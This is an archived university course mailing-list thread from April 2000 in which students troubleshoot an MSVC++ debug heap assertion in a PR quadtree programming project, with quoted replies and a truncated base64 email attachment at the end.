memory and => then act those => temp nodes, be sure to delete them afterwards. => => Then what do we store in the nodes? i assume your nodes used to be chock => full of pointers the pointed to other nodes, well now you can use the => handles returned by the memory manager to point to other nodes. => => GAB => => ----- Original Message ----- => From: "jon" => To: => Sent: Friday, April 28, 2000 11:12 PM => Subject: Re: General Misunderstanding of what the PRQ tree => actually stores => => => > At 05:37 PM 4/28/00 -0400, you wrote: => > >I'm having some issues understand exactly what it is the PRQuad tree => stores. => > ... => > >If we are storing *ALL* the data on the disk we don't really => need nodes => > => > You're so right. All I stored in my nodes were pointers to the memory => > manager and the handle of their data. The leaf and internal nodes had => > corresponding data structures (see my post about #pragma pack()) into => which => > their access functions read data from the memory pool => temporarily and then => > wrote it back. => > => > It's lame, but it seemed like the least immoral way to meet the project => > requirements. I suspect that the best solution would involve => overloading => a => > bunch of operators within the memory manager so you could reuse P2 code => > exactly, keeping the data members in the nodes like before. Has anyone => else => > come up with a decent solution? => > => > Jon ========================================================================= Date: Sat, 29 Apr 2000 08:25:43 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Blain Subject: Debug assertions? In-Reply-To: MIME-version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7bit Okay, was creating my rigged up solution, and now I'm getting a "Debug assertion error" from MSVC++ 6.0. My whole while (!cin.eof()) loop does a getline(cin,tempstring) then it goes through and rips apart that tempstring and puts everything into a command line struct. Now at the end of the !cin.eof() loop I set tempstring = ""; It gives me the assertion error there. It also gives it to me if I comment that line out. Then it gives it to me at the getline(cin,tempstring); line. I've never gotten these errors before and this is the exact same input from cin routine I used last time without a hitch. If anyone could enlighten me on what exactly the debugger is trying to assert here and how I might be able to fix that, I'd appreciate it. =blain ========================================================================= Date: Sat, 29 Apr 2000 08:31:13 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Blain Subject: Oh yeah, the error In-Reply-To: MIME-version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7bit Oh yeah, the text of the error is: Program: D:\Documents\cs2604\prqtdisk\debug\prqtdisk.exe file: dbgheap.c line: 1017 Expression: _BLOCK_TYPE_IS_VALID(pHead->nBlockUse) thanks..... =blain ========================================================================= Date: Sat, 29 Apr 2000 09:36:40 +0100 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Alan Lattimer Subject: Re: Oh yeah, the error In-Reply-To: MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit I got this same type of error on P3. Same place. I did the same thing racking my brain because I knew the error was in my input routine that had worked fine on P1/P2. Finally figured out by dismantling my code that the error was in a totally unrelated part of my program where I deleted a pointer that I shouldn't have. Check the new code you wrote carefully, especially if you are passing pointers in recursive methods. I hope this helps. It took me a couple hours just to realize that my problem was not where the debugger was telling me it was. Hope this saves you some time. Alan > -----Original Message----- > From: CS2604 discussion list [mailto:CS2604@listserv.vt.edu]On Behalf Of > Blain > Sent: Saturday, April 29, 2000 1:31 PM > To: CS2604@LISTSERV.VT.EDU > Subject: Oh yeah, the error > > > Oh yeah, the text of the error is: > > Program: D:\Documents\cs2604\prqtdisk\debug\prqtdisk.exe > file: dbgheap.c > line: 1017 > > Expression: _BLOCK_TYPE_IS_VALID(pHead->nBlockUse) > > thanks..... > =blain ========================================================================= Date: Sat, 29 Apr 2000 09:51:42 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Blain Subject: Re: Oh yeah, the error In-Reply-To: MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit Hmm...there aren't even any delete calls up to that point though. I changed around some stuff and now it's giving me an unhandled exception whenever I try to manipulate that string....I have a small function to pull out a substring (called from inside that cin.eof() loop, shown below: string GetToTab(string& stringin) { string tempstring; int i = 0; while ( ((stringin[i] != char(9)) //looks for tabs and spaces && (stringin[i] != char(32)) ) && (i <= stringin.length()) ) { i++; } for (int j = 0; j -----Original Message----- => From: CS2604 discussion list [mailto:CS2604@listserv.vt.edu]On Behalf Of => Alan Lattimer => Sent: Saturday, April 29, 2000 4:37 AM => To: CS2604@LISTSERV.VT.EDU => Subject: Re: Oh yeah, the error => => => I got this same type of error on P3. Same place. I did the same thing => racking my brain because I knew the error was in my input => routine that had => worked fine on P1/P2. Finally figured out by dismantling my => code that the => error was in a totally unrelated part of my program where I deleted a => pointer that I shouldn't have. Check the new code you wrote carefully, => especially if you are passing pointers in recursive methods. => I hope this helps. It took me a couple hours just to realize => that my problem => was not where the debugger was telling me it was. Hope this => saves you some => time. => Alan => => > -----Original Message----- => > From: CS2604 discussion list [mailto:CS2604@listserv.vt.edu]On => Behalf Of => > Blain => > Sent: Saturday, April 29, 2000 1:31 PM => > To: CS2604@LISTSERV.VT.EDU => > Subject: Oh yeah, the error => > => > => > Oh yeah, the text of the error is: => > => > Program: D:\Documents\cs2604\prqtdisk\debug\prqtdisk.exe => > file: dbgheap.c => > line: 1017 => > => > Expression: _BLOCK_TYPE_IS_VALID(pHead->nBlockUse) => > => > thanks..... => > =blain ========================================================================= Date: Sat, 29 Apr 2000 09:53:53 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: John Owens Subject: Re: Debug assertions? In-Reply-To: MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit You should be able to use the same parser you used for project 4, assuming you used streams. Instead of the two filenames you used, you would just change those to cin and cout. Thats all i had to do to make my parser work. -----Original Message----- From: CS2604 discussion list [mailto:CS2604@listserv.vt.edu]On Behalf Of Blain Sent: Saturday, April 29, 2000 8:26 AM To: CS2604@LISTSERV.VT.EDU Subject: Debug assertions? Okay, was creating my rigged up solution, and now I'm getting a "Debug assertion error" from MSVC++ 6.0. My whole while (!cin.eof()) loop does a getline(cin,tempstring) then it goes through and rips apart that tempstring and puts everything into a command line struct. Now at the end of the !cin.eof() loop I set tempstring = ""; It gives me the assertion error there. It also gives it to me if I comment that line out. Then it gives it to me at the getline(cin,tempstring); line. I've never gotten these errors before and this is the exact same input from cin routine I used last time without a hitch. If anyone could enlighten me on what exactly the debugger is trying to assert here and how I might be able to fix that, I'd appreciate it. =blain ========================================================================= Date: Sat, 29 Apr 2000 10:09:50 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Blain Subject: Re: Debug assertions? In-Reply-To: MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit That is what I did....that's why I'm baffled. => You should be able to use the same parser you used for project => 4, assuming => you used streams. Instead of the two filenames you used, you would just => change those to cin and cout. Thats all i had to do to make my => parser work. => => -----Original Message----- => From: CS2604 discussion list [mailto:CS2604@listserv.vt.edu]On Behalf Of => Blain => Sent: Saturday, April 29, 2000 8:26 AM => To: CS2604@LISTSERV.VT.EDU => Subject: Debug assertions? => => => Okay, was creating my rigged up solution, and now I'm getting a "Debug => assertion error" from MSVC++ 6.0. My whole while (!cin.eof()) => loop does a => getline(cin,tempstring) then it goes through and rips apart => that tempstring => and puts everything into a command line struct. Now at the end of the => !cin.eof() loop I set tempstring = ""; It gives me the assertion error => there. It also gives it to me if I comment that line out. Then => it gives it => to me at the getline(cin,tempstring); line. I've never gotten => these errors => before and this is the exact same input from cin routine I used last time => without a hitch. If anyone could enlighten me on what exactly => the debugger => is trying to assert here and how I might be able to fix that, => I'd appreciate => it. => =blain ========================================================================= Date: Sat, 29 Apr 2000 12:18:30 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: James Fonseca Subject: Re: Oh yeah, the error In-Reply-To: MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit I had a similar problem on one of the previous projects. I have no idea why this worked, but I removed all the watches I had in the debugger and that fixed the problem. Jimmy -----Original Message----- From: CS2604 discussion list [mailto:CS2604@listserv.vt.edu]On Behalf Of Blain Sent: Saturday, April 29, 2000 9:52 AM To: CS2604@LISTSERV.VT.EDU Subject: Re: Oh yeah, the error Hmm...there aren't even any delete calls up to that point though. I changed around some stuff and now it's giving me an unhandled exception whenever I try to manipulate that string....I have a small function to pull out a substring (called from inside that cin.eof() loop, shown below: string GetToTab(string& stringin) { string tempstring; int i = 0; while ( ((stringin[i] != char(9)) //looks for tabs and spaces && (stringin[i] != char(32)) ) && (i <= stringin.length()) ) { i++; } for (int j = 0; j -----Original Message----- => From: CS2604 discussion list [mailto:CS2604@listserv.vt.edu]On Behalf Of => Alan Lattimer => Sent: Saturday, April 29, 2000 4:37 AM => To: CS2604@LISTSERV.VT.EDU => Subject: Re: Oh yeah, the error => => => I got this same type of error on P3. Same place. I did the same thing => racking my brain because I knew the error was in my input => routine that had => worked fine on P1/P2. Finally figured out by dismantling my => code that the => error was in a totally unrelated part of my program where I deleted a => pointer that I shouldn't have. Check the new code you wrote carefully, => especially if you are passing pointers in recursive methods. => I hope this helps. It took me a couple hours just to realize => that my problem => was not where the debugger was telling me it was. Hope this => saves you some => time. => Alan => => > -----Original Message----- => > From: CS2604 discussion list [mailto:CS2604@listserv.vt.edu]On => Behalf Of => > Blain => > Sent: Saturday, April 29, 2000 1:31 PM => > To: CS2604@LISTSERV.VT.EDU => > Subject: Oh yeah, the error => > => > => > Oh yeah, the text of the error is: => > => > Program: D:\Documents\cs2604\prqtdisk\debug\prqtdisk.exe => > file: dbgheap.c => > line: 1017 => > => > Expression: _BLOCK_TYPE_IS_VALID(pHead->nBlockUse) => > => > thanks..... => > =blain ========================================================================= Date: Sat, 29 Apr 2000 14:28:21 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: jon Subject: Re: Oh yeah, the error MIME-version: 1.0 Content-type: text/plain; charset=us-ascii >Anyone know why I would get a different error at a different spot depending on >whether I'm using the debugger or not? I don't know the specifics of your situation, but this is a general warning to anyone getting errors like this and using the Memwatch.cpp code from the web site. This code causes errors! The delete operator does not work properly and sometimes fails debug assertions when this code is IN THE PROJECT. Simply not including the header files didn't fix the "errors" in my code, but removing Memwatch from my project entirely and rebuilding all fixed it. (I'm entirely certain that the errors came from Memwatch. I checked and double-checked my conclusions with some tests and it caused ridiculous crashes every time.) Memwatch is kind of helpful to trace pointer errors, but if you're using it and getting assertions you might want to try rebuilding with it removed from the project. I wasted a LOT of time on this project trying to find my "bug," only to realize it was Memwatch all along. Jon ========================================================================= Date: Sat, 29 Apr 2000 14:58:11 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Mike Schaefer Subject: Re: Oh yeah, the error MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="---- =_NextPart_000_01BFB1EB.593E28A0" ------ =_NextPart_000_01BFB1EB.593E28A0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable If you're getting seemingly random errors like has been described here, = the most likely culprit is a memory walk. The problem is where you see = the error not where the bug is, but instead a manifestation of that bug. = I spent last night and this morning tracing down a bug where inside my = linked list I would get assert errors when I tried to delete a node. = The problem had nothing to do with the linked list, but instead with the = size of the buffer I was allocating in my buffer pool. These are = probably the hardest bugs to track down. I don't know of any way to = find them, but scouring your code for memory walks. I haven't tried = Memwatch, so I don't know if it works or not, but it sounds like this is = your problem.=20 -----Original Message----- From: jon [SMTP:joscott3@VT.EDU] Sent: Saturday, April 29, 2000 2:28 PM To: CS2604@LISTSERV.VT.EDU Subject: Re: Oh yeah, the error >Anyone know why I would get a different error at a different spot = depending on >whether I'm using the debugger or not? I don't know the specifics of your situation, but this is a general = warning to anyone getting errors like this and using the Memwatch.cpp code from = the web site. This code causes errors! The delete operator does not work properly and sometimes fails debug assertions when this code is IN THE PROJECT. Simply not including the header files didn't fix the "errors" = in my code, but removing Memwatch from my project entirely and rebuilding = all fixed it. (I'm entirely certain that the errors came from Memwatch. I checked and double-checked my conclusions with some tests and it caused ridiculous crashes every time.) Memwatch is kind of helpful to trace pointer errors, but if you're using = it and getting assertions you might want to try rebuilding with it removed = from the project. I wasted a LOT of time on this project trying to find my "bug," only to realize it was Memwatch all along. Jon ------ =_NextPart_000_01BFB1EB.593E28A0 Content-Type: application/ms-tnef Content-Transfer-Encoding: base64 eJ8+IhASAQaQCAAEAAAAAAABAAEAAQeQBgAIAAAA5AQAAAAAAADoAAEIgAcAGAAAAElQTS5NaWNy b3NvZnQgTWFpbC5Ob3RlADEIAQ2ABAACAAAAAgACAAEEkAYAtAEAAAEAAAAQAAAAAwAAMAIAAAAL AA8OAAAAAAIB/w8BAAAASwAAAAAAAACBKx+kvqMQGZ1uAN0BD1QCAAAAAENTMjYwNCBkaXNjdXNz aW9uIGxpc3QAU01UUABDUzI2MDRAbGlzdHNlcnYudnQuZWR1AAAeAAIwAQAAAAUAAABTTVRQAAAA AB4AAzABAAAAFwAAAENTMjYwNEBsaXN0c2Vydi52dC5lZHUAAAMAFQwBAAAAAwD+DwYAAAAeAAEw AQAAABkAAAAnQ1MyNjA0IGRpc2N1c3Npb24gbGlzdCcAAAAAAgELMAEAAAAcAAAAU01UUDpDUzI2 MDRATElTVFNFUlYuVlQuRURVAAMAADkAAAAACwBAOgEAAAAeAPZfAQAAABcAAABDUzI2MDQgZGlz Y3Vzc2lvbiBsaXN0AAACAfdfAQAAAEsAAAAAAAAAgSsfpL6jEBmdbgDdAQ9UAgAAAABDUzI2MDQg ZGlzY3Vzc2lvbiBsaXN0AFNNVFAAQ1MyNjA0QGxpc3RzZXJ2LnZ0LmVkdQAAAwD9XwEAAAADAP9f AAAAAAIB9g8BAAAABAAAAAAAAALhVwEEgAEAFwAAAFJFOiBPaCB5ZWFoLCB0aGUgZXJyb3IARgcB BYADAA4AAADQBwQAHQAOADoACwAGAFEBASCAAwAOAAAA0AcEAB0ADgA1AAoABgBLAQEJgAEAIQAA ADkyMDc2N0I2RUIxREQ0MTFBNkE1MDBBMEM5ODRFQzQ2ACUHAQOQBgAoDQAAIQAAAAsAAgABAAAA CwAjAAAAAAADACYAAAAAAAsAKQAAAAAAAwAuAAAAAAADADYAAAAAAEAAOQAgZ1LdDLK/AR4AcAAB AAAAFwAAAFJFOiBPaCB5ZWFoLCB0aGUgZXJyb3IAAAIBcQABAAAAFgAAAAG/sgzdM7ZnB5Md6xHU pqUAoMmE7EYAAB4AHgwBAAAABQAAAFNNVFAAA